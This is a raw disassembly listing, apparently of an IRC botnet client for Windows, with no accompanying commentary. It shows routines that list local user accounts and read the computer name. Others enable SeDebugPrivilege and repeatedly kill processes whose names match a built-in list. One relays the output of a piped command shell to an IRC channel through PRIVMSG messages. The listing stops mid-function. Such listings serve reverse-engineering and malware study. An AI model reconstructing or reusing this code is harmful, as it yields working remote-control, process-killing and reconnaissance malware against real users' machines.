		mov	eax, [ebp+var_4]
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41B740
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408EB9
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41B740
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408EB9
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_4171EB
; ---------------------------------------------------------------------------


loc_4171BF:				; CODE XREF: sub_416E32+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_450088
		push	eax
		call	sub_41B740
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_408EB9
		add	esp, 20h


loc_4171EB:				; CODE XREF: sub_416E32+38Bj
		cmp	[ebp+var_4], 0
		jz	short loc_4171FA
		push	[ebp+var_4]
		call	dword_4E092C


loc_4171FA:				; CODE XREF: sub_416E32+40j
					; sub_416E32+3BDj
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_416E32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417200	proc near		; CODE XREF: sub_401CC1+3F3Fp

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_416B67
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 18h


loc_41723F:				; CODE XREF: sub_417200+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4E080C
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_4172A0
		cmp	eax, 0EAh
		jz	short loc_4172A0
		push	eax
		push	eax
		call	sub_417380
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_450104
		push	eax
		call	sub_41B740
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 24h
		jmp	short loc_41731B
; ---------------------------------------------------------------------------


loc_4172A0:				; CODE XREF: sub_417200+62j
					; sub_417200+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41732E
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_41731B


loc_4172B2:				; CODE XREF: sub_417200+EDj
		cmp	edi, esi
		jz	short loc_4172F1
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_35	; "  %S"
		push	eax
		call	sub_41B740
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_4172B2
		jmp	short loc_41731B
; ---------------------------------------------------------------------------


loc_4172F1:				; CODE XREF: sub_417200+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_4500D0
		push	eax
		call	sub_41B740
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 1Ch


loc_41731B:				; CODE XREF: sub_417200+9Ej
					; sub_417200+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41732E
		push	edi
		call	dword_4E092C
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_41732E:				; CODE XREF: sub_417200+A5j
					; sub_417200+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41723F
		cmp	edi, esi
		jz	short loc_417346
		push	edi
		call	dword_4E092C


loc_417346:				; CODE XREF: sub_417200+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41B740
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_417200	endp


; =============== S U B	R O U T	I N E =======================================



sub_417380	proc near		; CODE XREF: sub_4169D6+41p
					; sub_416BCB+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_417432
		jz	loc_41742B
		cmp	eax, 7Bh
		ja	short loc_4173F7
		jz	short loc_4173ED
		cmp	eax, 5
		jz	short loc_4173E3
		cmp	eax, 8
		jz	short loc_4173D9
		cmp	eax, 32h
		jz	short loc_4173CF
		cmp	eax, 35h
		jz	short loc_4173C5
		cmp	eax, 57h
		jnz	loc_417481
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_4174A2
; ---------------------------------------------------------------------------


loc_4173C5:				; CODE XREF: sub_417380+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_4174A2
; ---------------------------------------------------------------------------


loc_4173CF:				; CODE XREF: sub_417380+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_4174A2
; ---------------------------------------------------------------------------


loc_4173D9:				; CODE XREF: sub_417380+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_4174A2
; ---------------------------------------------------------------------------


loc_4173E3:				; CODE XREF: sub_417380+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_4174A2
; ---------------------------------------------------------------------------


loc_4173ED:				; CODE XREF: sub_417380+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_4174A2
; ---------------------------------------------------------------------------


loc_4173F7:				; CODE XREF: sub_417380+1Aj
		sub	eax, 7Ch
		jz	short loc_417424
		sub	eax, 7C8h
		jz	short loc_41741D
		dec	eax
		jz	short loc_417413
		dec	eax
		jnz	short loc_417481
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_4174A2
; ---------------------------------------------------------------------------


loc_417413:				; CODE XREF: sub_417380+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_4174A2
; ---------------------------------------------------------------------------


loc_41741D:				; CODE XREF: sub_417380+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_4174A2
; ---------------------------------------------------------------------------


loc_417424:				; CODE XREF: sub_417380+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_4174A2
; ---------------------------------------------------------------------------


loc_41742B:				; CODE XREF: sub_417380+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_4174A2
; ---------------------------------------------------------------------------


loc_417432:				; CODE XREF: sub_417380+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_41746B
		jz	short loc_417464
		sub	eax, 8ADh
		jz	short loc_417496
		dec	eax
		dec	eax
		jz	short loc_41745D
		dec	eax
		jz	short loc_417456
		dec	eax
		dec	eax
		jnz	short loc_417481
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_4174A2
; ---------------------------------------------------------------------------


loc_417456:				; CODE XREF: sub_417380+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_4174A2
; ---------------------------------------------------------------------------


loc_41745D:				; CODE XREF: sub_417380+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_4174A2
; ---------------------------------------------------------------------------


loc_417464:				; CODE XREF: sub_417380+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_4174A2
; ---------------------------------------------------------------------------


loc_41746B:				; CODE XREF: sub_417380+B9j
		sub	eax, 8CAh
		jz	short loc_41749D
		sub	eax, 17h
		jz	short loc_417496
		sub	eax, 25h
		jz	short loc_41748F
		sub	eax, 29h
		jz	short loc_417488


loc_417481:				; CODE XREF: sub_417380+35j
					; sub_417380+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_4174A2
; ---------------------------------------------------------------------------


loc_417488:				; CODE XREF: sub_417380+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_4174A2
; ---------------------------------------------------------------------------


loc_41748F:				; CODE XREF: sub_417380+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_4174A2
; ---------------------------------------------------------------------------


loc_417496:				; CODE XREF: sub_417380+C2j
					; sub_417380+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_4174A2
; ---------------------------------------------------------------------------


loc_41749D:				; CODE XREF: sub_417380+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_4174A2:				; CODE XREF: sub_417380+40j
					; sub_417380+4Aj ...
		push	offset dword_4EF16C
		call	sub_41B740
		pop	ecx
		mov	eax, offset dword_4EF16C
		pop	ecx
		retn
sub_417380	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4174B4	proc near		; CODE XREF: sub_401CC1+3F84p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41E750
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		call	dword_4F137C	; GetComputerNameA
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41E750
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41E720
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4E08B0
		test	eax, eax
		jnz	short loc_417544
		mov	esi, offset dword_4EEF68
		push	offset unk_450400
		push	esi
		call	sub_41B740
		pop	ecx
		pop	ecx
		jmp	short loc_41756D
; ---------------------------------------------------------------------------


loc_417544:				; CODE XREF: sub_4174B4+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_417380
		pop	ecx
		mov	esi, offset dword_4EEF68
		push	eax
		push	offset dword_450428
		push	esi
		call	sub_41B740
		add	esp, 14h


loc_41756D:				; CODE XREF: sub_4174B4+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4174B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417572	proc near		; CODE XREF: sub_416138+7p
					; sub_4175DD+5Fp ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	dword_4F13B4	; GetCurrentProcess
		push	eax
		call	dword_4E0884
		test	eax, eax
		jnz	short loc_417591
		leave
		retn
; ---------------------------------------------------------------------------


loc_417591:				; CODE XREF: sub_417572+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4E0860
		test	eax, eax
		jz	short loc_4175CF
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_4175B8
		or	[ebp+var_8], 2
		jmp	short loc_4175BC
; ---------------------------------------------------------------------------


loc_4175B8:				; CODE XREF: sub_417572+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_4175BC:				; CODE XREF: sub_417572+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4E0908
		mov	esi, eax


loc_4175CF:				; CODE XREF: sub_417572+32j
		push	[ebp+var_4]
		call	dword_4F1324	; CloseHandle
		mov	eax, esi
		pop	esi
		leave
		retn
sub_417572	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4175DD	proc near		; CODE XREF: sub_401CC1+6B98p
					; sub_417820+74p ...

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4E08C0, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_4177F0
		cmp	dword_4E08A4, ebx
		jz	loc_4177F0
		cmp	dword_4E07C4, ebx
		jz	loc_4177F0
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_417572
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4E08C0
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_4177E3
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4E08A4
		mov	esi, dword_4F1324
		test	eax, eax
		jz	loc_4177DE
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4E07C4
		test	eax, eax
		jz	loc_4177DE
		mov	edi, dword_4F1340
		mov	ebx, 1F0FFFh


loc_4176A1:				; CODE XREF: sub_4175DD+1F9j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_417708
		mov	[ebp+var_4], offset off_450458


loc_4176AF:				; CODE XREF: sub_4175DD+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		call	dword_4F1424	; lstrcmpi
		test	eax, eax
		jz	short loc_4176D7
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_4504B8
		jl	short loc_4176AF
		jmp	loc_4177C4
; ---------------------------------------------------------------------------


loc_4176D7:				; CODE XREF: sub_4175DD+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi	; OpenProcess
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_4177C4
		push	0
		push	eax
		call	dword_4F13AC	; TerminateProcess
		test	eax, eax
		jnz	loc_4177C4


loc_4176FE:				; CODE XREF: sub_4175DD+1CDj
		push	[ebp+var_4]
		call	esi	; CloseHandle
		jmp	loc_4177C4
; ---------------------------------------------------------------------------


loc_417708:				; CODE XREF: sub_4175DD+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_4177AF
		cmp	[ebp+arg_4], eax
		jz	loc_4177C4
		push	[ebp+var_128]
		push	8
		call	dword_4E08C0
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_41776F
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4E0774
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_417761
		lea	eax, [ebp+var_234]
		push	eax
		push	offset aSD	; " %s (%d)"
		jmp	short loc_417781
; ---------------------------------------------------------------------------


loc_417761:				; CODE XREF: sub_4175DD+174j
		lea	eax, [ebp+var_10C]
		push	eax
		push	offset aSD_0	; " %s (%d)"
		jmp	short loc_417781
; ---------------------------------------------------------------------------


loc_41776F:				; CODE XREF: sub_4175DD+15Cj
		push	[ebp+var_128]
		lea	eax, [ebp+var_10C]
		push	eax
		push	offset aSD_1	; " %s (%d)"


loc_417781:				; CODE XREF: sub_4175DD+182j
					; sub_4175DD+190j
		lea	eax, [ebp+var_554]
		push	eax
		call	sub_41B740
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 14h
		jmp	loc_4176FE
; ---------------------------------------------------------------------------


loc_4177AF:				; CODE XREF: sub_4175DD+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4177F7


loc_4177C4:				; CODE XREF: sub_4175DD+F5j
					; sub_4175DD+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4E07C4
		test	eax, eax
		jnz	loc_4176A1
		xor	ebx, ebx


loc_4177DE:				; CODE XREF: sub_4175DD+9Dj
					; sub_4175DD+B3j
		push	[ebp+var_8]
		call	esi	; CloseHandle


loc_4177E3:				; CODE XREF: sub_4175DD+77j
		push	ebx
		push	offset aSedebugprivi_0 ; "SeDebugPrivilege"
		call	sub_417572
		pop	ecx
		pop	ecx


loc_4177F0:				; CODE XREF: sub_4175DD+3Aj
					; sub_4175DD+46j ...
		xor	eax, eax


loc_4177F2:				; CODE XREF: sub_4175DD+241j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4177F7:				; CODE XREF: sub_4175DD+1E5j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi	; OpenProcess
		push	[ebp+var_8]
		mov	edi, eax
		call	esi	; CloseHandle
		push	0
		push	edi
		call	dword_4F13AC	; TerminateProcess
		test	eax, eax
		jnz	short loc_41781B
		push	edi
		call	esi	; CloseHandle
		jmp	short loc_4177F0
; ---------------------------------------------------------------------------


loc_41781B:				; CODE XREF: sub_4175DD+237j
		push	1
		pop	eax
		jmp	short loc_4177F2
sub_4175DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417820	proc near		; DATA XREF: sub_401CC1+220Ao

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_450650
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B740
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_41787F
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_408EB9
		add	esp, 14h


loc_41787F:				; CODE XREF: sub_417820+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_4175DD
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4178A7
		push	offset unk_450670
		jmp	short loc_4178AC
; ---------------------------------------------------------------------------


loc_4178A7:				; CODE XREF: sub_417820+7Ej
		push	offset unk_450694


loc_4178AC:				; CODE XREF: sub_417820+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B740
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4178DF
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_408EB9
		add	esp, 14h


loc_4178DF:				; CODE XREF: sub_417820+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41458A
		push	[ebp+var_14]
		call	sub_40AB19
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4F1388	; ExitThread
		pop	edi
		pop	esi
sub_417820	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4178FE	proc near		; CODE XREF: sub_401CC1+6B3Ap
					; sub_40A938+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		call	dword_4F1340	; OpenProcess
		mov	esi, eax
		test	esi, esi
		jz	short loc_417930
		push	0
		push	esi
		call	dword_4F13AC	; TerminateProcess
		test	eax, eax
		jnz	short loc_417930
		push	esi
		xor	edi, edi
		call	dword_4F1324	; CloseHandle


loc_417930:				; CODE XREF: sub_4178FE+1Aj
					; sub_4178FE+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4178FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_417935	proc near		; DATA XREF: sub_40141B+3C7o
		push	esi
		xor	esi, esi


loc_417938:				; CODE XREF: sub_417935+1Ej
		push	1
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_4175DD
		add	esp, 18h
		push	dword_450454
		call	dword_4F1334	; Sleep
		jmp	short loc_417938
sub_417935	endp


; =============== S U B	R O U T	I N E =======================================



sub_417955	proc near		; CODE XREF: sub_417985+2Ap
					; sub_4179BD+7Ep ...
		mov	eax, dword_4EF7D4
		push	esi
		mov	esi, dword_4F1324
		cmp	eax, 0FFFFFFFFh
		jz	short loc_417969
		push	eax
		call	esi	; CloseHandle


loc_417969:				; CODE XREF: sub_417955+Fj
		mov	eax, dword_4EF7DC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_417976
		push	eax
		call	esi	; CloseHandle


loc_417976:				; CODE XREF: sub_417955+1Cj
		mov	eax, dword_4EF7D0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_417983
		push	eax
		call	esi	; CloseHandle


loc_417983:				; CODE XREF: sub_417955+29j
		pop	esi
		retn
sub_417955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417985	proc near		; CODE XREF: sub_401CC1+6A46p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_418D00
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4EF7D8
		call	dword_4F139C	; WriteFile
		test	eax, eax
		jnz	short loc_4179B8
		call	sub_417955
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4179B8:				; CODE XREF: sub_417985+28j
		push	1
		pop	eax
		leave
		retn
sub_417985	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4179BD	proc near		; CODE XREF: sub_417A44+D3p
					; sub_417A44+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset dword_4EF81C
		push	[ebp+arg_4]
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417A00
		push	7D0h
		call	dword_4F1334	; Sleep
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS_2 ; "PRIVMSG %s :%s\r"
		push	eax
		call	sub_41B740
		add	esp, 10h
		jmp	short loc_417A17
; ---------------------------------------------------------------------------


loc_417A00:				; CODE XREF: sub_4179BD+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_24	; "%s"
		push	eax
		call	sub_41B740
		add	esp, 0Ch


loc_417A17:				; CODE XREF: sub_4179BD+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_418D00
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E08EC
		test	eax, eax
		jg	short loc_417A40
		call	sub_417955


loc_417A40:				; CODE XREF: sub_4179BD+7Cj
		xor	eax, eax
		leave
		retn
sub_4179BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417A44	proc near		; DATA XREF: sub_417B99+174o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4EF7E0


loc_417A5C:				; CODE XREF: sub_417A44+79j
					; sub_417A44+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4EF7D4
		call	dword_4F142C	; PeekNamedPipe
		test	eax, eax
		jz	loc_417B2A
		cmp	[ebp+var_4], edi
		jnz	short loc_417ABF
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4EF7D0
		call	dword_4F1428	; GetExitCodeProcess
		test	eax, eax
		jz	short loc_417AB5
		cmp	[ebp+var_8], 103h
		jnz	loc_417B4E


loc_417AB5:				; CODE XREF: sub_417A44+62j
		push	0Ah
		call	dword_4F1334	; Sleep
		jmp	short loc_417A5C
; ---------------------------------------------------------------------------


loc_417ABF:				; CODE XREF: sub_417A44+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_417AD6


loc_417AC6:				; CODE XREF: sub_417A44+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_417B24
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_417AC6


loc_417AD6:				; CODE XREF: sub_417A44+80j
		mov	[ebp+var_4], esi


loc_417AD9:				; CODE XREF: sub_417A44+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4EF7D4
		call	dword_4F13A4	; ReadFile
		test	eax, eax
		jz	short loc_417B76
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4EF814
		call	sub_4179BD
		add	esp, 0Ch
		jmp	loc_417A5C
; ---------------------------------------------------------------------------


loc_417B24:				; CODE XREF: sub_417A44+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_417AD9
; ---------------------------------------------------------------------------


loc_417B2A:				; CODE XREF: sub_417A44+45j
		push	offset unk_4506CC
		push	ebx
		push	dword_4EF814
		call	sub_4179BD
		push	[ebp+arg_0]
		call	sub_40AB19
		add	esp, 10h
		push	1
		call	dword_4F1388	; ExitThread


loc_417B4E:				; CODE XREF: sub_417A44+6Bj
		call	sub_417955
		push	offset unk_4506FC
		push	ebx
		push	dword_4EF814
		call	sub_4179BD
		push	[ebp+arg_0]
		call	sub_40AB19
		add	esp, 10h
		push	edi
		call	dword_4F1388	; ExitThread


loc_417B76:				; CODE XREF: sub_417A44+C3j
		push	offset unk_450724
		push	ebx
		push	dword_4EF814
		call	sub_4179BD
		push	[ebp+arg_0]
		call	sub_40AB19
		add	esp, 10h
		push	edi
		call	dword_4F1388	; ExitThread
sub_417A44	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417B99	proc near		; CODE XREF: sub_401CC1+203Cp

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	esi
		push	edi
		call	sub_417955
		xor	esi, esi
